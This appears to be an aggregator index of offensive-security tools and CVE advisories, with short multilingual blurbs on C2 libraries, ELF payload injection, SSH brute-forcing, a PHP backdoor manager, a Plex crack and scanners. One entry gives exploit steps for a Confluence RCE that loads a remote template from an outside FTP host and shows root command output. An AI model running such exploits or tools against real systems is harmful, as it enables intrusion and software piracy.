OpenMalleableC2

OpenMalleableC2 Cobalt Strike 的可塑 C2 的开源实现 OpenMalleableC2 是一个与框架无关的库，实现了 Cobalt Strike 的 Malleable C2 配置文件格式，用于 HTTP 变换。它使安全研究人员和红队能够在自定义工具和 C2 框架中轻松实现可塑 C2 通信。 它允许全面使用 Malleable C2 配置文件，通过 HTTP 发送任意数据，以透明且（希望）稳定的方式。 我为什么做这个？ 有许多开源 C2 框架提供了不同程度的 HTTP 流量定制功能。然而，即使是更成熟的框架（如 Mythic、Havoc、Adaptix 等）...

drow

drow 描述 太长不看 drow 是一个命令行工具，用于注入代码并钩取 ELF 可执行文件（构建后）的入口点。它接收未经修改的 ELF 可执行文件作为输入，并输出一个包含用户提供的内嵌 payload 的修改版 ELF，该 payload 在运行时执行。 稍微详细一些…… Drow 执行以下步骤来创建新的修补版 ELF： 1. 映射未修改的目标 ELF 可执行文件和用户提供的 payload（一个位置无关的 blob） 2. 通过解析程序头定位第一个可执行段 3. 通过解析节头定位可执行段中的最后一个节 4. 将（段中的）最后一个节的节头 shsize 和程序头...

drow

drow Description TL;DR drow is a command-line utility that is used to inject code and hook the entrypoint of ELF executables post-build. It takes unmodified ELF executables as input and exports a modified ELF contianing an embedded user-supplied payload that executes at runtime. Slightly more...

privaxy

Privaxy 次世代のトラッカーおよび広告ブロッカー 概要 Privaxy は MITM HTTPs プロキシであり、Web ブラウザなどの HTTPs 通信アプリケーションと、Web サイトを提供する HTTP サーバーとの間に位置します。 両端間に双方向トンネルを確立することで、Privaxy は URL パターンに基づいてネットワークリクエストをブロックし、HTML ドキュメントにスクリプトやスタイルを注入することができます。 より低いレベルで動作する Privaxy...

CVE-2026-77561

Tinyauth is an authentication and authorization server. Prior to 5.1.0, an unauthenticated remote attacker can send POST /api/user/login requests with 257 distinct nonexistent usernames to fill MaxLoginAttemptRecords and activate a global login lockdown. internal/controller/usercontroller.go...

https-nj.gov---CVE-2018-14042

https-nj.gov---CVE-2018-14042 新泽西州官方网站的漏洞报告 在 Bootstrap 4.1.2 之前，主要的 collapse data 属性存在 XSS 漏洞。 data-target 属性、data-parent 属性和 data-container 属性容易受到跨站脚本攻击。 Test 建议 针对此特定问题，修复方法可以是更改 getTargetFromTrigger 函数： return $target 改为： return $document.querySelectortarget 但其他地方似乎也存在同样的问题。 以下是另一个示例： Test 参考...

cbrutekrag

cbrutekrag SSHサーバーへの辞書攻撃による侵入テスト。Cで書かれています。 brute krag はアフリカーンス語で「ブルートフォース」を意味します 免責事項 このツールは倫理的なテスト目的でのみ使用してください。 cbrutekrag とその所有者は、ユーザーによる不正使用について責任を負いません。 ユーザーは現地の法律に従って行動する必要があります。 実行方法 root@kitploit: $ cbrutekrag -h | | | | | | | | | | | | / || ' | '| | | | / \ |/ / '/ |/ | | | | | | | || |...

cbrutekrag

cbrutekrag Penetration tests on SSH servers using dictionary attacks. Written in C. brute krag means "brute force" in afrikáans Disclaimer This tool is for ethical testing purpose only. cbrutekrag and its owners can't be held responsible for misuse by users. Users have to act as permitted by loca...

hackerone-reports

Sitio en vivo: reddelexc.github.io/hackerone-reports Tops de informes de HackerOne. La información sin procesar de todos los informes se almacena en data.csv. Los scripts para actualizar este archivo están escritos en Python 3 y requieren los ejecutables chromedriver y Chromium en PATH. Cada scri...

CVE-2026-63334

draw.io is a configurable diagramming and whiteboarding application. Prior to version 30.2.7, deployments with ENABLEDRAWIOPROXY=1 are vulnerable to server-side request forgery because src/main/java/com/mxgraph/online/Utils.java performs the private-address check in Utils.sanitizeUrl using one DN...

CVE-2026-62987

Fabio is an HTTPS and TCP router for deploying applications managed by consul. From 1.6.6 until 1.7.2, the CVE-2025-48865 fix in proxy/httpheaders.go uses protectHeaders for a hardcoded set of forwarded headers but omits the operator-configured ClientIPHeader, TLSHeader, and RequestID names. In...

rdpscan-BlueKeep

用于 CVE-2019-0708 BlueKeep 漏洞的 rdpscan 这是一个针对 Microsoft 远程桌面中 CVE-2019-0708 漏洞的简单粗暴扫描器。 目前，公网上约有 90 万台机器受此漏洞影响，因此很多人预计很快会出现类似 WannaCry 和 notPetya 的蠕虫。所以，请扫描你的网络，并对易受攻击的系统打补丁（或至少启用 NLA）。 这是一个命令行工具。你可以自行下载源码编译，也可以从上面的链接下载 Windows 或 macOS 的预编译二进制文件。 此工具完全基于 https://github.com/zerosum0x0/CVE-2019-0708...

scopeblind-gateway

protect-mcp Fail-closed Cedar policy gate plus signed receipts for AI agent tool calls. protect-mcp is a gate that sits in front of an AI agent's tool calls. It evaluates each call against a Cedar policy the same language AWS uses for IAM, blocks what breaks the rules before it runs, and signs an...

Freeloader

Soporte Docker para plexmediaservercrack Parchea Plex Media Server que se ejecuta en Docker — tanto la imagen oficial plexinc/pms-docker como la imagen de la comunidad lscr.io/linuxserver/plex — usando el mismo mecanismo de LDPRELOAD sobre la ejecución de PMS que la instalación nativa con systemd...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、将 cmd.vm 放到你的网站上（必须使用 ftp 或 https，http 不起作用） 2、修改 RCEexp.py，将 filename 改为 'ftp://1.1.1.1/cmd.vm'（python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py http://test.wikitest.cc:8080 "id" uid=0root...

perwendel__spark_CVE-2018-9159_2-7-1

Spark - 一个面向 Java 8 的微型 Web 框架 新闻 ：Spark 2.7.0 已发布。请试用它并报告任何 bug。 root@kitploit: com.sparkjava spark-core 2.7.0 重要提示 - 较旧版本的 Spark（低于 2.5.2 的版本）存在一个漏洞。请升级到最新版本。 文档请访问：http://sparkjava.com/documentation 使用问题请使用 带有 “spark-java” 标签的 Stack Overflow Javadoc：http://javadoc.io/doc/com.sparkjava/spark-co...

CVE-2018-15982

CVE-2018-15982 Flash 2018-15982 UAF p0c.swf 漏洞利用文件 阿拉伯语分析文章： http://xredteam.com/?p=253 https://twitter.com/syfi2k https://www.youtube.com/watch?v=UBc9R4QqJyc&feature=youtu.be...

flar

flar FLAR 是 Fast Light Agent Restrictor（快速轻量级代理限制器）。它运行在一种叫做 gars 的岩石上。 它是一个用 Go 编写的简单轻量级 CLI 工具，用于在隔离的 Bubblewrap bwrap 沙箱 中安全运行编码代理 CLI（例如 Claude Code、Antigravity、Codex、Copilot 和 Reasonix）。 其目的是 即时 且无需复杂配置地 bubblewrap 一个 AI...

CVE-2026-27495

CVE-2026-27495 — Escape de sandbox en el Task Runner de JS de n8n Escape de sandbox en el Task Runner de JavaScript de n8n mediante una fuga de objetos del host-realm. | ---|--- CVE| CVE-2026-27495 CVSS| 9.4 Crítico CWE| CWE-94 — Inyección de código Afectado| n8n 1.123.22 / 2.0.0–2.9.2 / 2.10.0...

bantam

Bantam 一个高级的 PHP 后门管理工具，具有轻量级的服务端占用、多线程通信以及先进的负载生成和混淆工具。支持端到端加密，每个请求使用唯一加密密钥，并采用负载流式传输以绕过 WAF、IDS、SIEM 系统。它融合了多种负载随机化和混淆技术，在无法加密时有助于避免检测。Bantam 是 Linux PHP 后期利用提权的理想工具，可轻松上传枚举脚本。它还具备插件系统，便于向 UI 添加脚本和功能。该工具使用 C 编写，可在 Windows 及 Linux（通过 Wine）上运行。 功能 端到端请求与响应加密 - 加密流程 使用 openssl 或 mcrypt 对请求和响应数据进行...